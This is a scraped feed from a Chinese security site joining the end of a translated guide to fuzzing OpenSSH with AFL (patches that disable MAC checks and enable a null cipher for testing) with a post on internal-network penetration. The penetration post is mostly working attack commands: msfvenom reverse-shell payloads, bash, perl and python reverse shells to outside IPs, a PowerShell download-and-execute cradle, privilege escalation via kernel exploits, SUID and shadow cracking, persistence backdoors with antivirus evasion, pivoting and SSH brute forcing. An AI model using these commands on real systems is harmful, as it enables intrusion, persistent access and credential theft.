diff--gitmac.cmac.c index5ba7fae1..ced66fe6100644 ---mac.c +++mac.c @@-229,8+229,10@@mac_check(structsshmac*mac,u_int32_tseqno,if((r=mac_compute(mac,seqno,data,dlen, ourmac,sizeof(ourmac)))!=0) returnr; +#if0 if(timingsafe_bcmp(ourmac,theirmac,mac->mac_len)!=0)returnSSH_ERR_MAC_INVALID; +#endif return0; }

我们在做这些更改时必须非常小心。我们想要尽可能地保持程序代码的原始行为,在某种意义上,我们必须非常小心,不要引入我们自己的错误。例如,我们必须非常确定,我们不会粗心的跳过检查数据包是否足够大的测试,在数据包的第一位会包含校验和。如果我们不小心跳过了这个测试,有可能被模糊测试的程序将尝试访问超过缓冲区结尾的内存,这是原始程序中不存在的错误。

这也是一个不会提交可以导致程序崩溃的测试用例给开发人员的不错的理由,除非你可以证明他们确实也导致了一个完全未经修改的程序崩溃。

禁用加密

这是我们可以做的最后一件事,如果你只想对未加密的初始握手协议和密钥交换过程进行模糊测试,那你需要完全禁用加密。

这样做的原因与禁用校验和和MAC的原因是完全一样的,即如果它必须使用加密数据进行工作,则fuzzer将不具有对自身协议进行模糊的能力和希望(因为操作加密数据很大程度上只会导致它被解密为随机或垃圾的数据)。

只需要简单的操作就可以做出改变,因为OpenSSH已经具备了一个伪密码,只是传递数据而实际不会进行加密或解密操作。我们需要做的是使其可用作能够在客户端和服务器之间协商的密码。为此,我们可以使用下面这个补丁:

diff--gita/cipher.cb/cipher.c index2def333..64cdadf100644 ---a/cipher.c +++b/cipher.c @@-95,7+95,7@@staticconststructsshcipherciphers[]={ #endif/*OPENSSL_NO_BF*/ #endif/*WITH_SSH1*/ #ifdefWITH_OPENSSL -{"none",SSH_CIPHER_NONE,8,0,0,0,0,0,EVP_enc_null}, +{"none",SSH_CIPHER_SSH2,8,0,0,0,0,0,EVP_enc_null}, {"3des-cbc",SSH_CIPHER_SSH2,8,24,0,0,0,1,EVP_des_ede3_cbc}, #ifndefOPENSSL_NO_BF {"blowfish-cbc",

要默认使用此密码,只需在你的sshd_config配置文件中添加“Ciphers none”。 当然,客户端并不直接支持这种配置,所以如果你要做任何测试连接,你必须使用上面的cipher.c补丁编译的ssh二进制程序。

如果你喜欢使用不同的默认密码,那么你可能必须从客户端传递 -o Ciphers = none 参数。可以使用strace或wireshark来验证在明文中超出初始协议设置发生的事情。


【技术分享】OpenSSH模糊测试技巧之AFL的妙用(一)
【技术分享】OpenSSH模糊测试技巧之AFL的妙用(一)
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://vegardno.blogspot.fr/2017/03/fuzzing-openssh-daemon-using-afl.html

【技术分享】内网渗透思路整理与工具使用

$
0
0
【技术分享】内网渗透思路整理与工具使用

2017-04-01 14:29:39
来源:Homaebic 作者:安全客

阅读:122次
点赞(0)
收藏





【技术分享】内网渗透思路整理与工具使用

作者:Homaebic

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

上个学期一直在学审计,前几天ST2漏洞大火,随便打一个就是root权限,我却拿着root权限不知如何继续进行。因为这个,发现了自己对渗透知识的缺失,因此用了两周左右的时间学习补充了一下内网渗透的知识,看了不少大牛的文章,膜拜之余还是做了一些笔记的。到渗透入门结束之余,打算自己整理一下最近学习到的关于渗透的知识,写一篇文章。

回过头看渗透,在机械流程的前提下,什么情况下使用什么工具,做出什么反应的适应性思路更为重要。一次大快人心的渗透过程与扎实的基础知识和熟练的工具使用是分不开的。


渗透初探

一个概念

正向shell:攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于公网的情况。

攻击者-->被攻击者

反向shell:被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况。

攻击者<--被攻击者

msf shell

反向shell

正向shell

linux:msfvenom-plinux/x86/meterpreter/reverse_tcplhost=192.168.1.102lport=4444-felf-oisshell
【技术分享】内网渗透思路整理与工具使用
windows:msfvenom-pwindows/meterpreter/reverse_tcp-ex86/shikata_ga_nai-i5-b‘\x00’LHOST=121.196.209.139LPORT=4444-fexe>abc.exe
【技术分享】内网渗透思路整理与工具使用
Android:msfvenom-pandroid/meterpreter/reverse_tcpLHOST=192.168.1.7LPORT=5555R>/root/apk.apk
【技术分享】内网渗透思路整理与工具使用

其他的各种各样的姿势的反弹shell:

bash:bash-i>&/dev/tcp/10.0.0.1/80800>&1 perl:perl-e'useSocket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh-i");};' python:python-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

使用SSH通道:

Ssh-qTfnN-Lport:host:hostport-luserremote_ip正向隧道,监听本地port Ssh-qTfnN-Rport:host:hostport-luserremote_ip反向隧道,用于内网穿透防火墙限制之类 Ssh-qTfnN-Dportremotehost直接进行socks代理

参数:

-q安静模式 -T不占用shell -f后台运行,推荐加-n参数 -N不执行远程命令

SSH端口转发:

Ssh-CfNg-Lport1:127.0.0.1:port2user@host本地转发 Ssh-CfNg-Rport2:127.0.0.1:port1user@hsst远程转发

拿到shell后的两个方向

如果是低权限的机器,就提权:

检查操作系统发行版本:lsb_release -a


【技术分享】内网渗透思路整理与工具使用

依据系统的内核,寻找对应的exp提权:

根据内核寻找exp的网站: https://www.kernel-exploits.com/ ,也可以用kali下的searchsploit命令


【技术分享】内网渗透思路整理与工具使用

如果尝试的所有的exp都失败了,可以试一试新版本内核的exp。但是注意,内核exp提权有崩溃系统的风险。

一些其他的办法:

利用SUID提权

1. SUID是一种属性,他允许用户执行的文件以该文件的拥有者身份运行。3.81的nmap中可以使用交互模式以root执行任意系统命令。

2. 环境变量劫持的方法提权

3. Passwd文件是否可写,可写则修改密码登录


【技术分享】内网渗透思路整理与工具使用

4. Shadow是否可读,可读则使用hashcat或john暴力破解


【技术分享】内网渗透思路整理与工具使用

5. 使用web端的一些密码测试root密码是否相同

6. 使用命令 ls -l /etc/cron* 查看计划任务,也许会有脚本使自己成为root用户


【技术分享】内网渗透思路整理与工具使用

使用命令 netstat -antup查看服务,有没有什么神奇的服务,可以用nc转发出来。


【技术分享】内网渗透思路整理与工具使用

相关工具:https://www.securitysift.com/download/linuxprivchecker.py 详细地列出网卡信息,主机信息,passwd文件,开启服务等等信息。

提权的方法复杂而多样,主要的手段还是第一种的使用exp提权。在尝试所有的提权方法之后依然不能成功,那么可以使用这台主机作为跳板进行内网的进一步渗透。


后门

拿下一个shell容易,但是对方服务器重启,web漏洞被补上,木马被删除,还能有办法保留住shell么?这里提供了几种持续后门的方法。

Msf的持续后门

Persistence: run persistence -h:用于创建启动项启动,会创建注册表,创建文件。(X86_Linux不支持此脚本)

Run metsvc -h :用于创建服务,会创建meterpreter服务,并上传三个文件,容易被杀(我的msf版本不支持)使用-r参数可以卸载服务

Mof_ps_persist

Msf自动运行脚本

Autorunscript,一个十分强大的脚本,可以在生成会话的同事,执行指定的操作。可以通过autorunscript调用的脚本有6个,目录metasploit/scripts/meterpreter,有屏幕截图,获取环境变量等等。

使用persistence和autorunscript留后门的方法是:

Useexplit/multi/handler Setpayloadwindows/meterpreter/reverse_tcp Setlhost*** Setlport*** SetExitOnSessionfalse SetAutoRunScriptpersistence-r***-p7231-U-X-I30 Exploit-j-z

绕过拦截的计划任务:

构造创建计划任务:schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo 1 #每小时执行一次


【技术分享】内网渗透思路整理与工具使用

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://a.com/1.ps1');" 保存以上命令到1.ps一,通过IEX下载执行。


【技术分享】内网渗透思路整理与工具使用

【技术分享】内网渗透思路整理与工具使用

本机测试时360第二种报毒,第一种通过。


网络分析

查看本机网络信息

ipconfig

使用代理探测内网

正向代理:Regeorg + proxychains (win下用proxycap)

Regeorg: https://github.com/sensepost/reGeorg


【技术分享】内网渗透思路整理与工具使用

上传服务器可执行的tunnel文件,在本机执行:

pythonreGeorgSocksProxy.py-p2333-uhttp://aaaaaa.com/tunnel.php

Proxychains: https://github.com/rofl0r/proxychains-ng


【技术分享】内网渗透思路整理与工具使用

配置文件

vim/etc/proxychains.conf

在最后一行添加socks5 127.0.0.1 2333(与regeorg端口相同)

使用时,在执行的命令前加proxhchains 4, 比如:proxychains4 nmap -sT -Pn -n 127.0.0.1

反向代理:路由表+socks4a+proxychains

在msf中如果拿到一个meterpreter shell,有一个很简单的添加路由表的方法:run autoroute -s 192.168.122.0/24,添加完路由表后,msf框架就可以使用跳板进行对192.168.122.0/24的网络访问了。

若要使用nmap一类的工具,需要使用msf框架中的socks4a工具代理,目录:auxiliary/server/socks4a


【技术分享】内网渗透思路整理与工具使用

开启socks4a后可以用netstat -antp | grep 1080来检查一下是否成功。


【技术分享】内网渗透思路整理与工具使用

Proxychains 不支持ICMP协议,nmap要加-sT 和 -Pn 参数。

使用nmap探测内网服务

如果只探测服务,则查看hosts,扫描特定的服务。

如果为了探测整个内网,则全网段扫描。

通过跳板对内网爆破

kali工具包中的Hydra可以爆破SSH。


【技术分享】内网渗透思路整理与工具使用

通过跳板转发端口

使用msf的portfwd工具可以转发内网ip的端口。


【技术分享】内网渗透思路整理与工具使用

【技术分享】内网渗透思路整理与工具使用

关注的两个点:

寻找交换机路由器,尝试snmp弱口令。关于snmp的知识:http://wooyun.jozxing.cc/static/drops/tips-409.html

通过收集到的信息,编写字典,对ftp,ssh,dbserver进行爆破。

对内网的web服务进行攻击,内网的web弱口令更普遍。

为扩大控制范围,优先控制交换机路由器等网络设备。


分析网络

假设控制路由器,通过路由器收集以下信息:

1. 设备配置

2. 查看相关权限与exp提权

3. 查看版本信息

4. 查看ip地址

5. 活动主机

6. 构建拓扑图

之后可以通过流量监控获取更多数据,进行深入的渗透。后面的内容我就没有学习了,笔记戛然而止!


参考文章

https://www.waitalone.cn/linux-shell-rebound-under-way.html

http://www.tuicool.com/articles/j2eayaF

http://wooyun.jozxing.cc/static/drops/tips-16116.html

https://www.secpulse.com/archives/51092.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-097180.html


【技术分享】内网渗透思路整理与工具使用
【技术分享】内网渗透思路整理与工具使用
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:
Viewing all 12749 articles
Browse latest View live